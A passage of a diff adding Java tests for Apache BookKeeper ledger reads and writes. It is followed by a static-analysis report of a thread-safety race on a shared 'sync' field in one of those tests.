+        try {
+            // Create a ledger
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            // bkc.initMessageDigest("SHA1");
+            ledgerId = lh.getId();
+            LOG.info("Ledger ID: " + lh.getId());
+            for (int i = 0; i < numEntriesToWrite; i++) {
+                ByteBuffer entry = ByteBuffer.allocate(4);
+                entry.putInt(rng.nextInt(maxInt));
+                entry.position(0);
+
+                entries.add(entry.array());
+                entriesSize.add(entry.array().length);
+                lh.asyncAddEntry(entry.array(), this, sync);
+            }
+
+            // wait for all entries to be acknowledged
+            synchronized (sync) {
+                while (sync.counter < numEntriesToWrite) {
+                    LOG.debug("Entries counter = " + sync.counter);
+                    sync.wait();
+                }
+            }
+
+            LOG.debug("*** WRITE COMPLETE ***");
+            // close ledger
+            lh.close();
+
+            // *** WRITING PART COMPLETE // READ PART BEGINS ***
+
+            // open ledger
+            lh = bkc.openLedger(ledgerId, digestType, ledgerPassword);
+            LOG.debug("Number of entries written: " + (lh.getLastAddConfirmed() + 1));
+            assertTrue("Verifying number of entries written", lh.getLastAddConfirmed() == (numEntriesToWrite - 1));
+
+            // read entries
+            lh.asyncReadEntries(0, numEntriesToWrite - 1, this, sync);
+
+            synchronized (sync) {
+                while (sync.value == false) {
+                    sync.wait();
+                }
+            }
+
+            LOG.debug("*** READ COMPLETE ***");
+
+            // at this point, Enumeration<LedgerEntry> ls is filled with the returned
+            // values
+            int i = 0;
+            while (ls.hasMoreElements()) {
+                ByteBuffer origbb = ByteBuffer.wrap(entries.get(i));
+                Integer origEntry = origbb.getInt();
+                byte[] entry = ls.nextElement().getEntry();
+                ByteBuffer result = ByteBuffer.wrap(entry);
+                LOG.debug("Length of result: " + result.capacity());
+                LOG.debug("Original entry: " + origEntry);
+
+                Integer retrEntry = result.getInt();
+                LOG.debug("Retrieved entry: " + retrEntry);
+                assertTrue("Checking entry " + i + " for equality", origEntry.equals(retrEntry));
+                assertTrue("Checking entry " + i + " for size", entry.length == entriesSize.get(i).intValue());
+                i++;
+            }
+            assertTrue("Checking number of read entries", i == numEntriesToWrite);
+
+            lh.close();
+        } catch (BKException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to BookKeeper exception");
+        } catch (InterruptedException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to interruption");
+        }
+    }
+
+    /**
+     * Check that the add api with offset and length work correctly.
+     * First try varying the offset. Then the length with a fixed non-zero
+     * offset.
+     */
+    @Test
+    public void testReadWriteRangeAsyncSingleClient() throws IOException {
+        try {
+            // Create a ledger
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            // bkc.initMessageDigest("SHA1");
+            ledgerId = lh.getId();
+            LOG.info("Ledger ID: " + lh.getId());
+            byte bytes[] = {'a','b','c','d','e','f','g','h','i'};
+
+            lh.asyncAddEntry(bytes, 0, bytes.length, this, sync);
+            lh.asyncAddEntry(bytes, 0, 4, this, sync); // abcd
+            lh.asyncAddEntry(bytes, 3, 4, this, sync); // defg
+            lh.asyncAddEntry(bytes, 3, (bytes.length-3), this, sync); // defghi
+            int numEntries = 4;
+
+            // wait for all entries to be acknowledged
+            synchronized (sync) {
+                while (sync.counter < numEntries) {
+                    LOG.debug("Entries counter = " + sync.counter);
+                    sync.wait();
+                }
+            }
+
+            try {
+                lh.asyncAddEntry(bytes, -1, bytes.length, this, sync);
+                fail("Shouldn't be able to use negative offset");
+            } catch (ArrayIndexOutOfBoundsException aiob) {
+                // expected
+            }
+            try {
+                lh.asyncAddEntry(bytes, 0, bytes.length+1, this, sync);
+                fail("Shouldn't be able to use that much length");
+            } catch (ArrayIndexOutOfBoundsException aiob) {
+                // expected
+            }
+            try {
+                lh.asyncAddEntry(bytes, -1, bytes.length+2, this, sync);
+                fail("Shouldn't be able to use negative offset "
+                     + "with that much length");
+            } catch (ArrayIndexOutOfBoundsException aiob) {
+                // expected
+            }
+            try {
+                lh.asyncAddEntry(bytes, 4, -3, this, sync);
+                fail("Shouldn't be able to use negative length");
+            } catch (ArrayIndexOutOfBoundsException aiob) {
+                // expected
+            }
+            try {
+                lh.asyncAddEntry(bytes, -4, -3, this, sync);
+                fail("Shouldn't be able to use negative offset & length");
+            } catch (ArrayIndexOutOfBoundsException aiob) {
+                // expected
+            }
+
+
+            LOG.debug("*** WRITE COMPLETE ***");
+            // close ledger
+            lh.close();
+
+            // *** WRITING PART COMPLETE // READ PART BEGINS ***
+
+            // open ledger
+            lh = bkc.openLedger(ledgerId, digestType, ledgerPassword);
+            LOG.debug("Number of entries written: " + (lh.getLastAddConfirmed() + 1));
+            assertTrue("Verifying number of entries written",
+                       lh.getLastAddConfirmed() == (numEntries - 1));
+
+            // read entries
+            lh.asyncReadEntries(0, numEntries - 1, this, sync);
+
+            synchronized (sync) {
+                while (sync.value == false) {
+                    sync.wait();
+                }
+            }
+
+            LOG.debug("*** READ COMPLETE ***");
+
+            // at this point, Enumeration<LedgerEntry> ls is filled with the returned
+            // values
+            int i = 0;
+            while (ls.hasMoreElements()) {
+                byte[] expected = null;
+                byte[] entry = ls.nextElement().getEntry();
+
+                switch (i) {
+                case 0:
+                    expected = Arrays.copyOfRange(bytes, 0, bytes.length);
+                    break;
+                case 1:
+                    expected = Arrays.copyOfRange(bytes, 0, 4);
+                    break;
+                case 2:
+                    expected = Arrays.copyOfRange(bytes, 3, 3+4);
+                    break;
+                case 3:
+                    expected = Arrays.copyOfRange(bytes, 3, 3+(bytes.length-3));
+                    break;
+                }
+                assertNotNull("There are more checks than writes", expected);
+
+                String message = "Checking entry " + i + " for equality ["
+                                 + new String(entry, "UTF-8") + ","
+                                 + new String(expected, "UTF-8") + "]";
+                assertTrue(message, Arrays.equals(entry, expected));
+
+                i++;
+            }
+            assertTrue("Checking number of read entries", i == numEntries);
+
+            lh.close();
+        } catch (BKException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to BookKeeper exception");
+        } catch (InterruptedException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to interruption");
+        }
+    }
+
+    class ThrottleTestCallback implements ReadCallback {
+        int throttle;
+
+        ThrottleTestCallback(int threshold) {
+            this.throttle = threshold;
+        }
+
+        @Override
+        public void readComplete(int rc, LedgerHandle lh, Enumeration<LedgerEntry> seq, Object ctx) {
+            if(rc != BKException.Code.OK) {
+                fail("Return code is not OK: " + rc);
+            }
+
+            ls = seq;
+            synchronized(sync) {
+                sync.counter += throttle;
+                sync.notify();
+            }
+            LOG.info("Current counter: " + sync.counter);
+        }
+    }
+
+    /**
+     * Method for obtaining the available permits of a ledger handle
+     * using reflection to avoid adding a new public method to the
+     * class.
+     *
+     * @param lh
+     * @return
+     */
+    @SuppressWarnings("unchecked")
+    int getAvailablePermits(LedgerHandle lh) throws
+        NoSuchFieldException, IllegalAccessException
+    {
+        Field field = LedgerHandle.class.getDeclaredField("opCounterSem");
+        field.setAccessible(true);
+        return ((Semaphore)field.get(lh)).availablePermits();
+    }
+
+    @Test
+    public void testReadWriteAsyncSingleClientThrottle() throws
+        IOException, NoSuchFieldException, IllegalAccessException {
+        try {
+
+            Integer throttle = 100;
+            ThrottleTestCallback tcb = new ThrottleTestCallback(throttle);
+            // Create a ledger
+            bkc.getConf().setThrottleValue(throttle);
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            // bkc.initMessageDigest("SHA1");
+            ledgerId = lh.getId();
+            LOG.info("Ledger ID: " + lh.getId());
+
+            numEntriesToWrite = 8000;
+            for (int i = 0; i < (numEntriesToWrite - 2000); i++) {
+                ByteBuffer entry = ByteBuffer.allocate(4);
+                entry.putInt(rng.nextInt(maxInt));
+                entry.position(0);
+
+                entries.add(entry.array());
+                entriesSize.add(entry.array().length);
+                lh.asyncAddEntry(entry.array(), this, sync);
+                /*
+                 * Check that the difference is no larger than the throttling threshold
+                 */
+                int testValue = getAvailablePermits(lh);
+                assertTrue("Difference is incorrect : " + i + ", " + sync.counter + ", " + testValue, testValue <= throttle);
+            }
+
+
+            for (int i = 0; i < 2000; i++) {
+                ByteBuffer entry = ByteBuffer.allocate(4);
+                entry.putInt(rng.nextInt(maxInt));
+                entry.position(0);
+
+                entries.add(entry.array());
+                entriesSize.add(entry.array().length);
+                lh.asyncAddEntry(entry.array(), this, sync);
+
+                /*
+                 * Check that the difference is no larger than the throttling threshold
+                 */
+                int testValue = getAvailablePermits(lh);
+                assertTrue("Difference is incorrect : " + i + ", " + sync.counter + ", " + testValue, testValue <= throttle);
+            }
+
+            // wait for all entries to be acknowledged
+            synchronized (sync) {
+                while (sync.counter < numEntriesToWrite) {
+                    LOG.debug("Entries counter = " + sync.counter);
+                    sync.wait();
+                }
+            }
+
+            LOG.debug("*** WRITE COMPLETE ***");
+            // close ledger
+            lh.close();
+
+            // *** WRITING PART COMPLETE // READ PART BEGINS ***
+
+            // open ledger
+            lh = bkc.openLedger(ledgerId, digestType, ledgerPassword);
+            LOG.debug("Number of entries written: " + (lh.getLastAddConfirmed() + 1));
+            assertTrue("Verifying number of entries written", lh.getLastAddConfirmed() == (numEntriesToWrite - 1));
+
+            // read entries
+            sync.counter = 0;
+            for (int i = 0; i < numEntriesToWrite; i+=throttle) {
+                lh.asyncReadEntries(i, i + throttle - 1, tcb, sync);
+                int testValue = getAvailablePermits(lh);
+                assertTrue("Difference is incorrect : " + i + ", " + sync.counter + ", " + testValue, testValue <= throttle);
+            }
+
+            synchronized (sync) {
+                while (sync.counter < numEntriesToWrite) {
+                    LOG.info("Entries counter = " + sync.counter);
+                    sync.wait();
+                }
+            }
+
+            LOG.debug("*** READ COMPLETE ***");
+
+            lh.close();
+        } catch (BKException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to BookKeeper exception");
+        } catch (InterruptedException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to interruption");
+        }
+    }
+
+    @Test
+    public void testSyncReadAsyncWriteStringsSingleClient() throws IOException {
+        LOG.info("TEST READ WRITE STRINGS MIXED SINGLE CLIENT");
+        String charset = "utf-8";
+        LOG.debug("Default charset: " + Charset.defaultCharset());
+        try {
+            // Create a ledger
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            // bkc.initMessageDigest("SHA1");
+            ledgerId = lh.getId();
+            LOG.info("Ledger ID: " + lh.getId());
+            for (int i = 0; i < numEntriesToWrite; i++) {
+                int randomInt = rng.nextInt(maxInt);
+                byte[] entry = new String(Integer.toString(randomInt)).getBytes(charset);
+                entries.add(entry);
+                lh.asyncAddEntry(entry, this, sync);
+            }
+
+            // wait for all entries to be acknowledged
+            synchronized (sync) {
+                while (sync.counter < numEntriesToWrite) {
+                    LOG.debug("Entries counter = " + sync.counter);
+                    sync.wait();
+                }
+            }
+
+            LOG.debug("*** ASYNC WRITE COMPLETE ***");
+            // close ledger
+            lh.close();
+
+            // *** WRITING PART COMPLETED // READ PART BEGINS ***
+
+            // open ledger
+            lh = bkc.openLedger(ledgerId, digestType, ledgerPassword);
+            LOG.debug("Number of entries written: " + (lh.getLastAddConfirmed() + 1));
+            assertTrue("Verifying number of entries written", lh.getLastAddConfirmed() == (numEntriesToWrite - 1));
+
+            // read entries
+            ls = lh.readEntries(0, numEntriesToWrite - 1);
+
+            LOG.debug("*** SYNC READ COMPLETE ***");
+
+            // at this point, Enumeration<LedgerEntry> ls is filled with the returned
+            // values
+            int i = 0;
+            while (ls.hasMoreElements()) {
+                byte[] origEntryBytes = entries.get(i++);
+                byte[] retrEntryBytes = ls.nextElement().getEntry();
+
+                LOG.debug("Original byte entry size: " + origEntryBytes.length);
+                LOG.debug("Saved byte entry size: " + retrEntryBytes.length);
+
+                String origEntry = new String(origEntryBytes, charset);
+                String retrEntry = new String(retrEntryBytes, charset);
+
+                LOG.debug("Original entry: " + origEntry);
+                LOG.debug("Retrieved entry: " + retrEntry);
+
+                assertTrue("Checking entry " + i + " for equality", origEntry.equals(retrEntry));
+            }
+            assertTrue("Checking number of read entries", i == numEntriesToWrite);
+
+            lh.close();
+        } catch (BKException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to BookKeeper exception");
+        } catch (InterruptedException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to interruption");
+        }
+
+    }
+
+    @Test
+    public void testReadWriteSyncSingleClient() throws IOException {
+        try {
+            // Create a ledger
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            // bkc.initMessageDigest("SHA1");
+            ledgerId = lh.getId();
+            LOG.info("Ledger ID: " + lh.getId());
+            for (int i = 0; i < numEntriesToWrite; i++) {
+                ByteBuffer entry = ByteBuffer.allocate(4);
+                entry.putInt(rng.nextInt(maxInt));
+                entry.position(0);
+                entries.add(entry.array());
+                lh.addEntry(entry.array());
+            }
+            lh.close();
+            lh = bkc.openLedger(ledgerId, digestType, ledgerPassword);
+            LOG.debug("Number of entries written: " + lh.getLastAddConfirmed());
+            assertTrue("Verifying number of entries written", lh.getLastAddConfirmed() == (numEntriesToWrite - 1));
+
+            ls = lh.readEntries(0, numEntriesToWrite - 1);
+            int i = 0;
+            while (ls.hasMoreElements()) {
+                ByteBuffer origbb = ByteBuffer.wrap(entries.get(i++));
+                Integer origEntry = origbb.getInt();
+                ByteBuffer result = ByteBuffer.wrap(ls.nextElement().getEntry());
+                LOG.debug("Length of result: " + result.capacity());
+                LOG.debug("Original entry: " + origEntry);
+
+                Integer retrEntry = result.getInt();
+                LOG.debug("Retrieved entry: " + retrEntry);
+                assertTrue("Checking entry " + i + " for equality", origEntry.equals(retrEntry));
+            }
+            lh.close();
+        } catch (BKException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to BookKeeper exception");
+        } catch (InterruptedException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to interruption");
+        }
+    }
+
+    @Test
+    public void testReadWriteZero() throws IOException {
+        try {
+            // Create a ledger
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            // bkc.initMessageDigest("SHA1");
+            ledgerId = lh.getId();
+            LOG.info("Ledger ID: " + lh.getId());
+            for (int i = 0; i < numEntriesToWrite; i++) {
+                lh.addEntry(new byte[0]);
+            }
+
+            /*
+             * Write a non-zero entry
+             */
+            ByteBuffer entry = ByteBuffer.allocate(4);
+            entry.putInt(rng.nextInt(maxInt));
+            entry.position(0);
+            entries.add(entry.array());
+            lh.addEntry(entry.array());
+
+            lh.close();
+            lh = bkc.openLedger(ledgerId, digestType, ledgerPassword);
+            LOG.debug("Number of entries written: " + lh.getLastAddConfirmed());
+            assertTrue("Verifying number of entries written", lh.getLastAddConfirmed() == numEntriesToWrite);
+
+            ls = lh.readEntries(0, numEntriesToWrite - 1);
+            int i = 0;
+            while (ls.hasMoreElements()) {
+                ByteBuffer result = ByteBuffer.wrap(ls.nextElement().getEntry());
+                LOG.debug("Length of result: " + result.capacity());
+
+                assertTrue("Checking if entry " + i + " has zero bytes", result.capacity() == 0);
+            }
+            lh.close();
+        } catch (BKException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to BookKeeper exception");
+        } catch (InterruptedException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to interruption");
+        }
+    }
+
+    @Test
+    public void testMultiLedger() throws IOException {
+        try {
+            // Create a ledger
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            lh2 = bkc.createLedger(digestType, ledgerPassword);
+
+            long ledgerId = lh.getId();
+            long ledgerId2 = lh2.getId();
+
+            // bkc.initMessageDigest("SHA1");
+            LOG.info("Ledger ID 1: " + lh.getId() + ", Ledger ID 2: " + lh2.getId());
+            for (int i = 0; i < numEntriesToWrite; i++) {
+                lh.addEntry(new byte[0]);
+                lh2.addEntry(new byte[0]);
+            }
+
+            lh.close();
+            lh2.close();
+
+            lh = bkc.openLedger(ledgerId, digestType, ledgerPassword);
+            lh2 = bkc.openLedger(ledgerId2, digestType, ledgerPassword);
+
+            LOG.debug("Number of entries written: " + lh.getLastAddConfirmed() + ", " + lh2.getLastAddConfirmed());
+            assertTrue("Verifying number of entries written lh (" + lh.getLastAddConfirmed() + ")", lh
+                       .getLastAddConfirmed() == (numEntriesToWrite - 1));
+            assertTrue("Verifying number of entries written lh2 (" + lh2.getLastAddConfirmed() + ")", lh2
+                       .getLastAddConfirmed() == (numEntriesToWrite - 1));
+
+            ls = lh.readEntries(0, numEntriesToWrite - 1);
+            int i = 0;
+            while (ls.hasMoreElements()) {
+                ByteBuffer result = ByteBuffer.wrap(ls.nextElement().getEntry());
+                LOG.debug("Length of result: " + result.capacity());
+
+                assertTrue("Checking if entry " + i + " has zero bytes", result.capacity() == 0);
+            }
+            lh.close();
+            ls = lh2.readEntries(0, numEntriesToWrite - 1);
+            i = 0;
+            while (ls.hasMoreElements()) {
+                ByteBuffer result = ByteBuffer.wrap(ls.nextElement().getEntry());
+                LOG.debug("Length of result: " + result.capacity());
+
+                assertTrue("Checking if entry " + i + " has zero bytes", result.capacity() == 0);
+            }
+            lh2.close();
+        } catch (BKException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to BookKeeper exception");
+        } catch (InterruptedException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to interruption");
+        }
+    }
+
+    @Test
+    public void testReadWriteAsyncLength() throws IOException {
+        try {
+            // Create a ledger
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            // bkc.initMessageDigest("SHA1");
+            ledgerId = lh.getId();
+            LOG.info("Ledger ID: " + lh.getId());
+            for (int i = 0; i < numEntriesToWrite; i++) {
+                ByteBuffer entry = ByteBuffer.allocate(4);
+                entry.putInt(rng.nextInt(maxInt));
+                entry.position(0);
+
+                entries.add(entry.array());
+                entriesSize.add(entry.array().length);
+                lh.asyncAddEntry(entry.array(), this, sync);
+            }
+
+            // wait for all entries to be acknowledged
+            synchronized (sync) {
+                while (sync.counter < numEntriesToWrite) {
+                    LOG.debug("Entries counter = " + sync.counter);
+                    sync.wait();
+                }
+            }
+            long length = numEntriesToWrite * 4;
+            assertTrue("Ledger length before closing: " + lh.getLength(), lh.getLength() == length);
+
+            LOG.debug("*** WRITE COMPLETE ***");
+            // close ledger
+            lh.close();
+
+            // *** WRITING PART COMPLETE // READ PART BEGINS ***
+
+            // open ledger
+            lh = bkc.openLedger(ledgerId, digestType, ledgerPassword);
+            assertTrue("Ledger length after opening: " + lh.getLength(), lh.getLength() == length);
+
+
+            lh.close();
+        } catch (BKException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to BookKeeper exception");
+        } catch (InterruptedException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to interruption");
+        }
+    }
+
+    @Test
+    public void testReadFromOpenLedger() throws IOException {
+        try {
+            // Create a ledger
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            // bkc.initMessageDigest("SHA1");
+            ledgerId = lh.getId();
+            LOG.info("Ledger ID: " + lh.getId());
+            for (int i = 0; i < numEntriesToWrite; i++) {
+                ByteBuffer entry = ByteBuffer.allocate(4);
+                entry.putInt(rng.nextInt(maxInt));
+                entry.position(0);
+
+                entries.add(entry.array());
+                entriesSize.add(entry.array().length);
+                lh.addEntry(entry.array());
+                if(i == numEntriesToWrite/2) {
+                    LedgerHandle lhOpen = bkc.openLedgerNoRecovery(ledgerId, digestType, ledgerPassword);
+                    // no recovery opened ledger 's last confirmed entry id is less than written
+                    // and it just can read until (i-1)
+                    int toRead = i - 1;
+                    Enumeration<LedgerEntry> readEntry = lhOpen.readEntries(toRead, toRead);
+                    assertTrue("Enumeration of ledger entries has no element", readEntry.hasMoreElements() == true);
+                    LedgerEntry e = readEntry.nextElement();
+                    assertEquals(toRead, e.getEntryId());
+                    Assert.assertArrayEquals(entries.get(toRead), e.getEntry());
+                    // should not written to a read only ledger
+                    try {
+                        lhOpen.addEntry(entry.array());
+                        fail("Should have thrown an exception here");
+                    } catch (BKException.BKIllegalOpException bkioe) {
+                        // this is the correct response
+                    } catch (Exception ex) {
+                        LOG.error("Unexpected exception", ex);
+                        fail("Unexpected exception");
+                    }
+                    // close read only ledger should not change metadata
+                    lhOpen.close();
+                }
+            }
+
+            long last = lh.readLastConfirmed();
+            assertTrue("Last confirmed add: " + last, last == (numEntriesToWrite - 2));
+
+            LOG.debug("*** WRITE COMPLETE ***");
+            // close ledger
+            lh.close();
+            /*
+             * Asynchronous call to read last confirmed entry
+             */
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            // bkc.initMessageDigest("SHA1");
+            ledgerId = lh.getId();
+            LOG.info("Ledger ID: " + lh.getId());
+            for (int i = 0; i < numEntriesToWrite; i++) {
+                ByteBuffer entry = ByteBuffer.allocate(4);
+                entry.putInt(rng.nextInt(maxInt));
+                entry.position(0);
+
+                entries.add(entry.array());
+                entriesSize.add(entry.array().length);
+                lh.addEntry(entry.array());
+            }
+
+
+            SyncObj sync = new SyncObj();
+            lh.asyncReadLastConfirmed(this, sync);
+
+            // Wait for for last confirmed
+            synchronized (sync) {
+                while (sync.lastConfirmed == -1) {
+                    LOG.debug("Counter = " + sync.lastConfirmed);
+                    sync.wait();
+                }
+            }
+
+            assertTrue("Last confirmed add: " + sync.lastConfirmed, sync.lastConfirmed == (numEntriesToWrite - 2));
+
+            LOG.debug("*** WRITE COMPLETE ***");
+            // close ledger
+            lh.close();
+        } catch (BKException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to BookKeeper exception");
+        } catch (InterruptedException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to interruption");
+        }
+    }
+
+    @Test
+    public void testReadFromOpenLedgerOpenOnce() throws Exception {
+        try {
+            // Create a ledger
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            // bkc.initMessageDigest("SHA1");
+            ledgerId = lh.getId();
+            LOG.info("Ledger ID: " + lh.getId());
+            LedgerHandle lhOpen = bkc.openLedgerNoRecovery(ledgerId, digestType, ledgerPassword);
+            for (int i = 0; i < numEntriesToWrite; i++) {
+                ByteBuffer entry = ByteBuffer.allocate(4);
+                entry.putInt(rng.nextInt(maxInt));
+                entry.position(0);
+
+                entries.add(entry.array());
+                entriesSize.add(entry.array().length);
+                lh.addEntry(entry.array());
+                if (i == numEntriesToWrite / 2) {
+                    // no recovery opened ledger 's last confirmed entry id is
+                    // less than written
+                    // and it just can read until (i-1)
+                    int toRead = i - 1;
+
+                    long readLastConfirmed = lhOpen.readLastConfirmed();
+                    assertTrue(readLastConfirmed != 0);
+                    Enumeration<LedgerEntry> readEntry = lhOpen.readEntries(toRead, toRead);
+                    assertTrue("Enumeration of ledger entries has no element", readEntry.hasMoreElements() == true);
+                    LedgerEntry e = readEntry.nextElement();
+                    assertEquals(toRead, e.getEntryId());
+                    Assert.assertArrayEquals(entries.get(toRead), e.getEntry());
+                    // should not written to a read only ledger
+                    try {
+                        lhOpen.addEntry(entry.array());
+                        fail("Should have thrown an exception here");
+                    } catch (BKException.BKIllegalOpException bkioe) {
+                        // this is the correct response
+                    } catch (Exception ex) {
+                        LOG.error("Unexpected exception", ex);
+                        fail("Unexpected exception");
+                    }
+
+                }
+            }
+            long last = lh.readLastConfirmed();
+            assertTrue("Last confirmed add: " + last, last == (numEntriesToWrite - 2));
+
+            LOG.debug("*** WRITE COMPLETE ***");
+            // close ledger
+            lh.close();
+            // close read only ledger should not change metadata
+            lhOpen.close();
+        } catch (BKException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to BookKeeper exception");
+        } catch (InterruptedException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to interruption");
+        }
+    }
+
+    @Test
+    public void testReadFromOpenLedgerZeroAndOne() throws Exception {
+        try {
+            // Create a ledger
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            // bkc.initMessageDigest("SHA1");
+            ledgerId = lh.getId();
+            LOG.info("Ledger ID: " + lh.getId());
+            LedgerHandle lhOpen = bkc.openLedgerNoRecovery(ledgerId, digestType, ledgerPassword);
+
+            /*
+             * We haven't written anything, so it should be empty.
+             */
+            LOG.debug("Checking that it is empty");
+            long readLastConfirmed = lhOpen.readLastConfirmed();
+            assertTrue("Last confirmed has the wrong value",
+                       readLastConfirmed == LedgerHandle.INVALID_ENTRY_ID);
+
+            /*
+             * Writing one entry.
+             */
+            LOG.debug("Going to write one entry");
+            ByteBuffer entry = ByteBuffer.allocate(4);
+            entry.putInt(rng.nextInt(maxInt));
+            entry.position(0);
+
+            entries.add(entry.array());
+            entriesSize.add(entry.array().length);
+            lh.addEntry(entry.array());
+
+            /*
+             * The hint should still indicate that there is no confirmed
+             * add.
+             */
+            LOG.debug("Checking that it is still empty even after writing one entry");
+            readLastConfirmed = lhOpen.readLastConfirmed();
+            assertTrue(readLastConfirmed == LedgerHandle.INVALID_ENTRY_ID);
+
+            /*
+             * Adding one more, and this time we should expect to
+             * see one entry.
+             */
+            entry = ByteBuffer.allocate(4);
+            entry.putInt(rng.nextInt(maxInt));
+            entry.position(0);
+
+            entries.add(entry.array());
+            entriesSize.add(entry.array().length);
+            lh.addEntry(entry.array());
+
+            LOG.info("Checking that it has an entry");
+            readLastConfirmed = lhOpen.readLastConfirmed();
+            assertTrue(readLastConfirmed == 0L);
+
+            // close ledger
+            lh.close();
+            // close read only ledger should not change metadata
+            lhOpen.close();
+        } catch (BKException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to BookKeeper exception");
+        } catch (InterruptedException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to interruption");
+        }
+    }
+
+
+    @Test
+    public void testLastConfirmedAdd() throws IOException {
+        try {
+            // Create a ledger
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            // bkc.initMessageDigest("SHA1");
+            ledgerId = lh.getId();
+            LOG.info("Ledger ID: " + lh.getId());
+            for (int i = 0; i < numEntriesToWrite; i++) {
+                ByteBuffer entry = ByteBuffer.allocate(4);
+                entry.putInt(rng.nextInt(maxInt));
+                entry.position(0);
+
+                entries.add(entry.array());
+                entriesSize.add(entry.array().length);
+                lh.addEntry(entry.array());
+            }
+
+            long last = lh.readLastConfirmed();
+            assertTrue("Last confirmed add: " + last, last == (numEntriesToWrite - 2));
+
+            LOG.debug("*** WRITE COMPLETE ***");
+            // close ledger
+            lh.close();
+            /*
+             * Asynchronous call to read last confirmed entry
+             */
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            // bkc.initMessageDigest("SHA1");
+            ledgerId = lh.getId();
+            LOG.info("Ledger ID: " + lh.getId());
+            for (int i = 0; i < numEntriesToWrite; i++) {
+                ByteBuffer entry = ByteBuffer.allocate(4);
+                entry.putInt(rng.nextInt(maxInt));
+                entry.position(0);
+
+                entries.add(entry.array());
+                entriesSize.add(entry.array().length);
+                lh.addEntry(entry.array());
+            }
+
+
+            SyncObj sync = new SyncObj();
+            lh.asyncReadLastConfirmed(this, sync);
+
+            // Wait for for last confirmed
+            synchronized (sync) {
+                while (sync.lastConfirmed == LedgerHandle.INVALID_ENTRY_ID) {
+                    LOG.debug("Counter = " + sync.lastConfirmed);
+                    sync.wait();
+                }
+            }
+
+            assertTrue("Last confirmed add: " + sync.lastConfirmed, sync.lastConfirmed == (numEntriesToWrite - 2));
+
+            LOG.debug("*** WRITE COMPLETE ***");
+            // close ledger
+            lh.close();
+        } catch (BKException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to BookKeeper exception");
+        } catch (InterruptedException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to interruption");
+        }
+    }
+
+
+    @Override
+    public void addComplete(int rc, LedgerHandle lh, long entryId, Object ctx) {
+        if(rc != BKException.Code.OK) fail("Return code is not OK: " + rc);
+
+        SyncObj x = (SyncObj) ctx;
+
+        synchronized (x) {
+            x.counter++;
+            x.notify();
+        }
+    }
+
+    @Override
+    public void readComplete(int rc, LedgerHandle lh, Enumeration<LedgerEntry> seq, Object ctx) {
+        if(rc != BKException.Code.OK) fail("Return code is not OK: " + rc);
+
+        ls = seq;
+
+        synchronized (sync) {
+            sync.value = true;
+            sync.notify();
+        }
+    }
+
+    @Override
+    public void readLastConfirmedComplete(int rc, long lastConfirmed, Object ctx) {
+        SyncObj sync = (SyncObj) ctx;
+
+        synchronized(sync) {
+            sync.lastConfirmed = lastConfirmed;
+            sync.notify();
+        }
+    }
+
+    @Override
+    @Before
+    public void setUp() throws Exception {
+        super.setUp();
+        rng = new Random(System.currentTimeMillis()); // Initialize the Random
+        // Number Generator
+        entries = new ArrayList<byte[]>(); // initialize the entries list
+        entriesSize = new ArrayList<Integer>();
+        sync = new SyncObj(); // initialize the synchronization data structure
+
+    }
+
+    /* Clean up a directory recursively */
+    protected boolean cleanUpDir(File dir) {
+        if (dir.isDirectory()) {
+            LOG.info("Cleaning up " + dir.getName());
+            String[] children = dir.list();
+            for (String string : children) {
+                boolean success = cleanUpDir(new File(dir, string));
+                if (!success)
+                    return false;
+            }
+        }
+        // The directory is now empty so delete it
+        return dir.delete();
+    }
+
+    /* User for testing purposes, void */
+    class emptyWatcher implements Watcher {
+        @Override
+        public void process(WatchedEvent event) {
+        }
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `org.apache.bookkeeper.test.BookieReadWriteTest.testReadWriteAsyncLength` reads without synchronization from `this.org.apache.bookkeeper.test.BookieReadWriteTest.sync`. Potentially races with write in method `BookieReadWriteTest.setUp()`.
+ Reporting because this access may occur on a background thread.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void BookieReadWriteTest.testReadWriteAsyncLength()
+
+### Procedure Id:
+org.apache.bookkeeper.test.BookieReadWriteTest.testReadWriteAsyncLength():void.6c39830691886d6dec7e60341cf71a2d
+
+### File:
+bookkeeper-server/src/test/java/org/apache/bookkeeper/test/BookieReadWriteTest.java
+
+### Key:
+BookieReadWriteTest.java|testReadWriteAsyncLength|THREAD_SAFETY_VIOLATION
+
+### Node Key:
